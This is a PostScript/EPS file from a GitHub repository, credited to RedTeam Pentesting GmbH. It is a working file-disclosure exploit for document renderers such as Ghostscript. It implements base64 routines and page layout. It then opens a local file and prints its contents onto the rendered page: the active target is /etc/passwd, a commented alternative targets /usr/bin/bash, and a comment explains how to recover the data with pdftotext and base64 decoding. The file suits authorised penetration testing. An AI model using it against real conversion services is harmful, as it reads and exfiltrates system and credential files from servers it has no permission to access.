-
Notifications
You must be signed in to change notification settings - Fork 6
/
Copy pathprint_file.ps
359 lines (309 loc) · 9.24 KB
/
print_file.ps
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
%!PS-Adobe-3.0 EPSF-3.0
%%Pages: 1
%%BoundingBox: 0 0 1000 1000
%%LanguageLevel: 1
%%EndComments
%%BeginProlog
%%EndProlog
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
% %
% RedTeam Pentesting GmbH %
% kontakt@redteam-pentesting.de %
% https://www.redteam-pentesting.de/ %
% %
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%% Configurable Variables
% how many chars per line
/charactercount 100 def
%%%%%%%%%%%%%%%%%%% Page Setup
/xposinit 0 def
% white page
1 1 1 setrgbcolor clippath fill
% black text
0 0 0 setrgbcolor
/pagewidth currentpagedevice /PageSize get 0 get def
/pageheight currentpagedevice /PageSize get 1 get def
% calculate the character width
/characterWidth pagewidth xposinit sub charactercount 2 add div def
/Courier findfont setfont
/curWidth (-) stringwidth pop def
/Courier findfont characterWidth curWidth div scalefont setfont
/lineheight characterWidth curWidth div def
% initial x and y positions
/yposinit pageheight lineheight sub def
/xpos xposinit def
/ypos yposinit def
xpos ypos moveto
%%%%%%%%%%%%%%%%%%% Base64 Encoding Code
/base64EncodingTable [
(A) (B) (C) (D) (E) (F) (G) (H) (I) (J)
(K) (L) (M) (N) (O) (P) (Q) (R) (S) (T)
(U) (V) (W) (X) (Y) (Z) (a) (b) (c) (d)
(e) (f) (g) (h) (i) (j) (k) (l) (m) (n)
(o) (p) (q) (r) (s) (t) (u) (v) (w) (x)
(y) (z) (0) (1) (2) (3) (4) (5) (6) (7)
(8) (9) (+) (/) (=)
] def
/base64DecodingTable [
80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 %/* 0 - 15 */
80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 80 %/* 16 - 31 */
80 80 80 80 80 80 80 80 80 80 80 62 80 80 80 63 %/* 32 - 47 */
52 53 54 55 56 57 58 59 60 61 80 80 80 64 80 80 %/* 48 - 63 */
80 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 %/* 64 - 79 */
15 16 17 18 19 20 21 22 23 24 25 80 80 80 80 80 %/* 80 - 96 */
80 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 %/* 87 - 111 */
41 42 43 44 45 46 47 48 49 50 51 80 80 80 80 80 %/* 112 - 127 */
] def
% takes 1-3 bytes and returns their 4 base64 encoded values (including padding)
% inputBytes threeBytesToFourChars outBytes
/threeBytesToFourChars {{
/inputBytes exch def
/b1 inputBytes 0 get def
% first 6 of b1
/c1 b1 2#11111100 and -2 bitshift def
% padding for one char
inputBytes length 1 eq {
/c2 b1 2#00000011 and 4 bitshift def
[c1 c2 64 64]
exit
} if
/b2 inputBytes 1 get def
% last 2 of b1, first 4 of b2
/c2
b1 2#00000011 and 4 bitshift % last 2 of b1
b2 2#11110000 and -4 bitshift % first 4 of b2
xor
def
% padding for two chars
inputBytes length 2 eq {
/c3 b2 2#00001111 and 2 bitshift def
[c1 c2 c3 64]
exit
} if
/b3 inputBytes 2 get def
% last 4 of b2, first 2 of b3
/c3
b2 2#00001111 and 2 bitshift % last 4 of b2
b3 2#11000000 and -6 bitshift % first 2 of b3
xor
def
% last 6 of b3
/c4 b3 2#00111111 and def
[c1 c2 c3 c4]
exit
}loop} def
% takes 4 base64-encoded chars and returns their 3 byte values
% inputChars FourCharsToThreeBytes outputBytes
/FourCharsToThreeBytes {
/inputChars exch def
/c1 base64DecodingTable inputChars 0 get get def
/c2 base64DecodingTable inputChars 1 get get def
/c3 base64DecodingTable inputChars 2 get get def
/c4 base64DecodingTable inputChars 3 get get def
/b1
c1 2#00111111 and 2 bitshift
c2 2#00110000 and -4 bitshift
xor
def
/b2
c2 2#00001111 and 4 bitshift
c3 2#00111100 and -2 bitshift
xor
def
/b3
c3 2#00000011 and 6 bitshift
c4 2#00111111 and
xor
def
b1 b2 b3
} def
% Concatenate two strings
% https://stackoverflow.com/questions/12378904/postscript-concatenate-two-strings
% (a) (b) -> (ab)
/concat { exch dup length
2 index length add string
dup dup 4 2 roll copy length
4 -1 roll putinterval
} bind def
% Encodes the inputstring in Base64
% inputString base64Encode base64OutputString
/base64Encode {
/inputString exch def
/outputString () def
0 3 inputString length 1 sub {
/i exch def
% if string is not divisible by three, only take the remaining interval
inputString length i 3 add le {
/interval [inputString i inputString length i sub getinterval {} forall] def
} {
/interval [inputString i 3 getinterval {} forall] def
}ifelse
/curChars interval threeBytesToFourChars def
/curOut () def
curChars {
/curChar exch def
/curOut curOut base64EncodingTable curChar get concat def
} forall
/outputString outputString curOut concat def
} for
outputString
} def
% Decodes a Base64-encoded String to bytes
% base64InputString base64Decode byteArray
/base64Decode {
/inputString exch def
[
0 4 inputString length 1 sub {
/i exch def
[inputString i 4 getinterval {} forall] FourCharsToThreeBytes
} for
]
} def
%%%%%%%%%%%%%%%%%%% Printing Code
% Move to new line and go to next page if current page is full
% lineheight newline -
/newline {
/lineheight exch def
% new page if we are at the bottom of the page
ypos lineheight lt {
showpage
/xpos xposinit def
/ypos yposinit def
xpos ypos moveto
} if
% decrease y position
ypos lineheight sub
/ypos exch def
% move cursor
xpos ypos moveto
} def
% Draws a triangle at the current position
% Used for indicating a forced linebreak if the current line is too long
% - drawtri -
/drawtri {
/width 5 def
currentpoint
/curY exch def
/curX exch def
newpath
curX curY lineheight 2 div add moveto
curX width add curY lineheight 4 div add lineto
curX curY lineto
curX curY lineheight 2 div add lineto
closepath
fill
stroke
curX width add curY moveto
} def
% Base64 encodes the file and prints it on the page
% use pdftotext out.pdf - | base64 -d -i > file.out
% inputFileName PrintFileBase64 -
/PrintFileBase64
{
% buffer for reading (characters per line, is shorter as base64 inflates the characters and we have an offset of 10 from the left)
/rawwidth charactercount 0.7 mul cvi xposinit characterWidth div cvi sub def
/width rawwidth rawwidth 3 mod sub def
/buff width string def
/infilename exch def
% open file
/infile infilename (r) file def
/xpos xposinit def
/ypos yposinit def
xposinit yposinit moveto
% loop
{
% read chars from file to the buffer
infile buff readstring
{ % if chars remaining
% write the chars to the doc
base64Encode show
lineheight newline
}{ % else
base64Encode show
% close file pointer
infile closefile
% exit the loop
exit
} ifelse
} bind loop
} def
% inFileName PrintFileAsText -
/PrintFileAsText
{
/buff 4096 string def
/infilename exch def
% open file
/infile infilename (r) file def
/xpos xposinit def
/ypos yposinit def
xpos ypos moveto
/curLinePos 0 def
% loop
{
% read chars from file to the buffer
infile buff readstring
/endOfFile exch not def
/curBuf exch def
% for every newline in the current buffer
% print it
{
% when the buffer is empty, exit loop
curBuf length 0 le {
exit
} if
% split current buffer into lines
curBuf (\n) search {
/curLine exch def
pop
/curBuf exch def
} {
pop
/curLine curBuf def
/curBuf () def
} ifelse
% print the current line taking the current position into account
/i 0 def
{
i curLine length eq {
exit
} if
curLinePos charactercount ge {
lineheight newline
drawtri
/curLinePos 1 def
} if
/remaining curLine length i sub def
/printCharsNum charactercount curLinePos sub remaining min def
/printChars curLine i printCharsNum getinterval def
/curLinePos curLinePos printChars length add def
/i i printCharsNum add def
printChars show
} loop
% if the current buffer is not empty, then there are still new lines, so make a newline
curBuf length 0 gt {
lineheight newline
/curLinePos 0 def
} if
} loop
endOfFile {
% close file pointer
infile closefile
% exit the loop
exit
} if
} bind loop
} def
%%%%%%%%%%%%%%%%%%% Actual Code
{
%(/usr/bin/bash) PrintFileBase64
(/etc/passwd) PrintFileAsText
} stopped {
% if an error occurs, the cause is printed
/errormessage {
$error /errorname get 50 string cvs
} def
(printing file failed : ) show
lineheight newline
errormessage show
} { } ifelse % error catching frame
showpage